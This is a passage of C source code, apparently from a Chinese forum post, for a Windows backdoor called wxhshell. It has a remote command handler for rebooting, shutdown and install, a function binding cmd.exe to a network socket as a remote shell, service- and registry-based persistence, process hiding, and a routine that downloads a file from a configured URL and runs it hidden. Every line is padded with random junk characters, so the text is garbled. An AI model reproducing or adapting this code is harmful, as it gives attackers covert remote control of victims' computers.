  case '?': { 2a.NWJS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wlqV1.K  
    break; u#p1W|\4  
  } M)Rp+uQ  
  // 安装 ,2JqX>On>Y  
  case 'i': { ~m!>e])P?X  
    if(Install()) qq-&z6;$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =D5@PHpv(  
    else p@i U}SUaE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2@mQ&n  
    break; w GZ(bKyO  
    } =\4w" /Y  
  // 卸载 {N5g52MN  
  case 'r': { 7~\Dzcfk"P  
    if(Uninstall()) NOyLZa'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QXJD' c  
    else ZC"6B(d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([|5(Omd\  
    break; +^YV>;  
    } W3UK[_qK  
  // 显示 wxhshell 所在路径 `m<="No  
  case 'p': { 6AUzS4O  
    char svExeFile[MAX_PATH]; I#eIm3Y?  
    strcpy(svExeFile,"\n\r"); xHsH .f_{  
      strcat(svExeFile,ExeFile); `^AbFV 3  
        send(wsh,svExeFile,strlen(svExeFile),0); `H$s -PX  
    break; |+6Z+-.Hg  
    } F/j=rs,*|D  
  // 重启 @PwEom`a  
  case 'b': { ?]fBds=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]kb%l"&  
    if(Boot(REBOOT)) vzi=[A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lNsPwyCoj  
    else { \(T; @r  
    closesocket(wsh); vCH>Fj"7  
    ExitThread(0); ^e@c Ozt  
    } gEKJrAA  
    break; }/c.>U  
    } S-2xe?sb  
  // 关机 ?Tuh22J{Q  
  case 'd': { bDUGzezP<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s+zb[3}  
    if(Boot(SHUTDOWN)) 7]e]Y>wZap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/4OFvL1  
    else { 3kR- WgVF,  
    closesocket(wsh); ^Jnp\o>  
    ExitThread(0); R2]?9\II  
    } :NbD^h)R  
    break; W[^XG\  
    } ac+7D:X  
  // 获取shell +Yi=W o/  
  case 's': { oeIB1DaI  
    CmdShell(wsh); vJ"@#$.  
    closesocket(wsh); 9q* sR1  
    ExitThread(0); Br#]FB|tD  
    break; w-/bLg[L?$  
  } s #L1:L  
  // 退出 [Hd^49<P2  
  case 'x': { *otJtEI>6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _9n.ir5YX  
    CloseIt(wsh); u x:,io  
    break; S<p "k]  
    } sK?[ 1BI  
  // 离开 ?rBj{]=  
  case 'q': { =Rb,`%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -^#Ix;%  
    closesocket(wsh);  )_j.0a  
    WSACleanup(); rcI(6P<*  
    exit(1); ;uoH+`pf  
    break; K?I@'B'  
        } "#4PU5.  
  } I">z#@CT  
  } P:*'x9`  
ZlO@PlZ)  
  // 提示信息 #{h4lte  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |{ 9"n<JW  
} Y!POUMA }A  
  } +e ?ixvld  
yvH:U5%  
  return; d=>5%$:v  
} 0*g psS  
).tZMLM/-  
// shell模块句柄 TP^.]I O-  
int CmdShell(SOCKET sock) %J|EDf ,M  
{ vO0ql  
STARTUPINFO si; R1P,0Yf  
ZeroMemory(&si,sizeof(si)); WO)K*c1F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gVG :z_6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "r"Y9KODm  
PROCESS_INFORMATION ProcessInfo; ; $y.+5 q  
char cmdline[]="cmd"; R o-Mex2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .f jM9G#  
  return 0; 3I"&Qp%2  
} K] Eq"3  
sS-5W-&P{T  
// 自身启动模式 mD)Nh  
int StartFromService(void) 8<]> q  
{ a?JU(  
typedef struct x(S 064  
{ /@wm?ft6Gk  
  DWORD ExitStatus; wh*OD  
  DWORD PebBaseAddress; q1?2 U<  
  DWORD AffinityMask; ~(%G; fZ?x  
  DWORD BasePriority; pM#:OlqC  
  ULONG UniqueProcessId; m7RWuI,  
  ULONG InheritedFromUniqueProcessId; ,Y`C7Px  
}   PROCESS_BASIC_INFORMATION; ?<nz2 piP,  
|_w*:NCV5  
PROCNTQSIP NtQueryInformationProcess; wV-cpJ,}  
-TD6s:'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D J<c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zb9@U: \  
}(hE{((o  
  HANDLE             hProcess; MnX2sX|  
  PROCESS_BASIC_INFORMATION pbi; ^ g4)aaBZ  
Y^6=_^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :_e.ch:4  
  if(NULL == hInst ) return 0; ax 3:rl  
Q]|+Y0y}X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .qVdo+M%F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VWMCbg>R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LZoth+:  
Aga7X@fV(  
  if (!NtQueryInformationProcess) return 0; hVGakp9WE  
Ab(bvS8r$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cog:6Gnw  
  if(!hProcess) return 0; c3 wu&*p{  
tXp)o >"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o<g (%ncr  
)E4COw+  
  CloseHandle(hProcess); <=7p~ i5  
IvO3*{k ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R/b=!<  
if(hProcess==NULL) return 0; 2#E;5UYu  
*=sU+x&X  
HMODULE hMod; 1i>)@{P&BN  
char procName[255]; ;ib~c,  
unsigned long cbNeeded; x`lBG%Y[-v  
gq0gr?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V!Joh5=a  
+'KM~c?]  
  CloseHandle(hProcess); P{qn@:  
7P\sn<  
if(strstr(procName,"services")) return 1; // 以服务启动 FcWu#}.p}  
B[$SA-ZHi  
  return 0; // 注册表启动 Lte\;Se.tu  
} qh&K{r*T  
6Edqg   
// 主模块 QU#/(N(U#T  
int StartWxhshell(LPSTR lpCmdLine) zh4o<f:-  
{ snK9']WXo  
  SOCKET wsl; H~$|y9>qI  
BOOL val=TRUE; #`W8-w  
  int port=0; XG [%oL  
  struct sockaddr_in door; /z'j:~`E  
R1 wd Q8q  
  if(wscfg.ws_autoins) Install(); 4({=(O  
,>g 6OU2~6  
port=atoi(lpCmdLine); /0\pPc*kA{  
 (&gCVf  
if(port<=0) port=wscfg.ws_port; !l\pwfXP&%  
UbYKiLDF)  
  WSADATA data; ,J~1~fg89  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bo0y"W[+  
$`5DGy?RU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xj~6,;83xR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z6*RIdD>  
  door.sin_family = AF_INET; utTek5/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q3KBG8  
  door.sin_port = htons(port); r;'!qwr  
s=d?}.E$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j=gbUXv/  
closesocket(wsl); },"g*  
return 1; mb/3 #)  
} O^<6`ku  
P9'5=e@jB  
  if(listen(wsl,2) == INVALID_SOCKET) { m2}&5vD8-  
closesocket(wsl); %EpK=;51U  
return 1; vx4& ;2  
} m&%N4Q~X>  
  Wxhshell(wsl); \.{JS>!  
  WSACleanup(); H}$#aXEAn  
T8\,2UWsj2  
return 0; %sq=lW5R{b  
_ <~05Eh  
} '0=U+Egp  
4 '+)9&g  
// 以NT服务方式启动 ~W#f,mf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J)-owu;  
{ 7]^Cg;EtM:  
DWORD   status = 0; *\`C! r  
  DWORD   specificError = 0xfffffff; jsG9{/Ov3  
8t^"1ND  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hh?'tb{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,S8Vfb &  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ysa"f+/  
  serviceStatus.dwWin32ExitCode     = 0; Rsulp#['  
  serviceStatus.dwServiceSpecificExitCode = 0; *H$nydQ:  
  serviceStatus.dwCheckPoint       = 0; W`\H3?C`xQ  
  serviceStatus.dwWaitHint       = 0; ~\/ J&  
y jpjJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G]SE A  
  if (hServiceStatusHandle==0) return; 0N}5sF  
s,}<5N]U  
status = GetLastError(); sDF J  
  if (status!=NO_ERROR) YU"Am !  
{ CJC|%i3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \x+DEy'4;5  
    serviceStatus.dwCheckPoint       = 0; @<2pYIi 8  
    serviceStatus.dwWaitHint       = 0; *p-Fn$7\n  
    serviceStatus.dwWin32ExitCode     = status; }Q%>Fv  
    serviceStatus.dwServiceSpecificExitCode = specificError; L=p.@VSZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kal8k-$#  
    return; s=$7lYX  
  } nqH^%/7)A@  
dOhV`8l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pqs)ueu  
  serviceStatus.dwCheckPoint       = 0; W@G[ gS\T  
  serviceStatus.dwWaitHint       = 0; }n.h)Oz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pta%%8":  
} Za} |Ee  
m^=, RfUUd  
// 处理NT服务事件,比如:启动、停止 f 4 _\F/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S ~_%  
{ I45A$nV#Q  
switch(fdwControl) {)[i\=,`{  
{ ceOjuzY  
case SERVICE_CONTROL_STOP: ^AM_A>HnG  
  serviceStatus.dwWin32ExitCode = 0; :b>|U"ux  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q5 A+%#  
  serviceStatus.dwCheckPoint   = 0; ELPJ}moWZ  
  serviceStatus.dwWaitHint     = 0; RgO 7> T\  
  { 2 9]8[Z,4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H )}WWXK  
  } K c<z;  
  return; zm:=d>D..  
case SERVICE_CONTROL_PAUSE: U VLcR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =?lT&|"  
  break; <_>6a7ra  
case SERVICE_CONTROL_CONTINUE: Yyo|W;a]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z>{KeX:  
  break; TAi\#cnl(6  
case SERVICE_CONTROL_INTERROGATE: E,|n'  
  break; g IKm  
}; w?*KO?K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PYUY bRn  
} DG-vTr  
|:?.-tq  
// 标准应用程序主函数 o ,!"E^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) So^`L s;S  
{ L7g&]%  
vP4Ij  
// 获取操作系统版本 s,k1KTXg<B  
OsIsNt=GetOsVer(); +,[3a%c)H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M~Slc*_%  
g#:XN  
  // 从命令行安装 GW#kaqC1  
  if(strpbrk(lpCmdLine,"iI")) Install(); g?VME]:  
qIT{`hX  
  // 下载执行文件 85fDuJ9$Z"  
if(wscfg.ws_downexe) { AN>`M?EQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u s0'7|{q  
  WinExec(wscfg.ws_filenam,SW_HIDE); =tNiIU  
} Tc(R-Wi  
{XXNl)%  
if(!OsIsNt) { S=g-&lK  
// 如果时win9x,隐藏进程并且设置为注册表启动 OgS8.wX  
HideProc(); $iPN5@F  
StartWxhshell(lpCmdLine); *\WI!%  
} `Y;gMrp  
else }^<zVdwp  
  if(StartFromService()) FNM"!z  
  // 以服务方式启动 _PbfFY #  
  StartServiceCtrlDispatcher(DispatchTable); Mh|`XO.5I  
else Sg$\ab$  
  // 普通方式启动 T/;hIX:R  
  StartWxhshell(lpCmdLine); &-:yn&f7  
l{U3;  
return 0; 6y_Z'@L  
}
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只看该作者 1 发表于: 2006-10-10
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